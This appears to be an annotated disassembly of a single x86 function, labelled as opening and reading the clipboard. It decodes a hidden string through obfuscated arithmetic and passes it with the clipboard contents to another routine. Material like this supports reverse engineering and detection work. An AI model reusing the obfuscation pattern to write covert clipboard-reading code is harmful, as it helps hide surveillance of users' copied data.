Function at 0x431e90
Capabilities:
Open clipboard
Read clipboard data

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0x48
mov esi, esp
push eax
mov eax, esp
push eax
mov dword [esi + 0x18], esp
push eax
mov edi, esp
mov dword [esi + 0x1c], eax
call fcn.00409910
sub esp, 0x18
mov ebx, esp
and ebx, 0xfffffff8
mov esp, ebx
jmp 0x431ebc
jmp 0x431ebe
jmp 0x431ec0
call fcn.00409910
push eax
mov dword [esi + 0x24], esp
mov eax, dword [ebp + 8]
mov dword [esi + 0x34], eax
mov byte [esi + 7], 0
jmp 0x431ed5
xor eax, eax
sub esp, 4
mov dword [esp], 0
call dword [sym.imp.USER32.dll_OpenClipboard]
cmp eax, 0
setne al
jmp 0x431eef
test al, 1
jne 0x431ef8
jmp 0x432105
xor eax, eax
sub esp, 8
mov dword [esp], 0
mov dword [esp + 4], 0
call dword [sym.imp.USER32.dll_GetWindowLongW]
mov dword [esi + 0x3c], eax
sub esp, 4
mov dword [esp], 1
call dword [sym.imp.USER32.dll_GetClipboardData]
mov ecx, dword [esi + 0x1c]
mov dword [ecx], eax
mov eax, ecx
cmp dword [eax], 0
je 0x4320fb
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_GlobalLock]
mov ecx, dword [esi + 0x18]
mov dword [ecx], eax
mov eax, dword [ecx]
sub esp, 4
mov dword [esp], eax
call fcn.004090e0
add esp, 4
mov dword [edi], eax
cmp dword [edi], 0
je 0x4320e4
mov ecx, dword [esi + 0x34]
mov edx, dword [edi]
mov eax, dword [esi + 0x18]
mov eax, dword [eax]
mov dword [esi + 0x2c], eax
mov eax, dword [esi + 0x24]
mov al, byte [eax]
mov byte [esi + 0x10], al
mov byte [ebx], 0xd3
mov byte [ebx + 1], 0xf9
mov byte [ebx + 2], 0xf3
mov byte [ebx + 3], 0xfb
mov byte [ebx + 4], 0xf6
mov byte [ebx + 5], 0xfa
mov byte [ebx + 6], 0xc7
mov byte [ebx + 7], 0xe9
mov byte [ebx + 8], 0xf8
mov byte [ebx + 9], 0xb7
mov byte [ebx + 0xa], 0xee
mov byte [ebx + 0xb], 0xeb
mov byte [ebx + 0xc], 0xec
mov byte [ebx + 0xd], 0x61
mov eax, 0xe
mov byte [ebx + eax], 0
add eax, 1
cmp eax, 0x18
jne 0x431fb4
xor eax, eax
cmp eax, 0x18
jae 0x4320c7
movzx edi, byte [ebx + eax]
mov dword [esi + 0x14], edi
mov edi, eax
add edi, 0x7b818992
mov dword [esi + 8], edi
mov dword [esi + 0x30], edx
mov edx, 0x847e766d
sub edx, eax
mov dword [esi + 0xc], eax
mov eax, 0x7e766d
sub eax, dword [esi + 0xc]
and eax, 0x25f6361
mov dword [esi + 0x28], ecx
mov ecx, edx
or ecx, eax
mov eax, ecx
not eax
and edx, eax
mov edi, dword [esi + 8]
xor edi, ecx
add edi, ecx
mov eax, edi
add eax, edx
mov ecx, 0xfffffffe
sub ecx, eax
lea edi, [edx + edi + 1]
mov edx, ecx
and edx, 0x68e494b
and edi, 0xf971b6b4
or edx, edi
mov eax, dword [esi + 0x14]
xor edx, eax
xor edx, 0xf971b6b4
or ecx, eax
mov edi, edx
and edi, ecx
xor ecx, edx
not ecx
add edx, ecx
sub edx, edi
mov ecx, edx
and ecx, 2
mov edi, ecx
xor edi, 2
mov eax, edx
and eax, 0xfffffffd
imul eax, edi
mov edi, edx
or edi, 2
imul edi, ecx
add edi, eax
not edi
add edx, edi
mov ecx, dword [esi + 8]
or ecx, dword [esi + 0x14]
mov dword [esi + 8], ecx
mov eax, ecx
not eax
lea ecx, [ecx + eax*2]
mov edi, 0xfffffffe
sub edi, ecx
mov ecx, edi
and ecx, 0xfffffffd
mov dword [esi + 0x20], ecx
mov ecx, dword [esi + 8]
lea ecx, [ecx + eax*2 + 1]
and ecx, 2
imul ecx, dword [esi + 0x20]
mov eax, edi
and eax, 2
or edi, 2
imul edi, eax
add edi, ecx
mov ecx, dword [esi + 0x28]
not edi
mov eax, dword [esi + 8]
add eax, edi
or edx, eax
not edx
mov dword [esi + 0x38], edx
mov edx, dword [esi + 0x30]
mov eax, dword [esi + 0x38]
add al, 2
mov edi, dword [esi + 0xc]
mov byte [ebx + edi], al
mov eax, dword [esi + 0xc]
add eax, 1
jmp 0x431fc2
sub esp, 0xc
mov dword [esp], ebx
mov eax, dword [esi + 0x2c]
mov dword [esp + 4], eax
mov dword [esp + 8], edx
call fcn.00409b20
and al, 1
mov byte [esi + 7], al
jmp 0x4320e4
mov eax, dword [esi + 0x1c]
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
jmp 0x4320f7
jmp 0x4320f9
jmp 0x4320fb
jmp 0x4320fd
call dword [sym.imp.USER32.dll_CloseClipboard]
jmp 0x432105
mov al, byte [esi + 7]
jmp 0x43210a
and al, 1
movzx eax, al
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret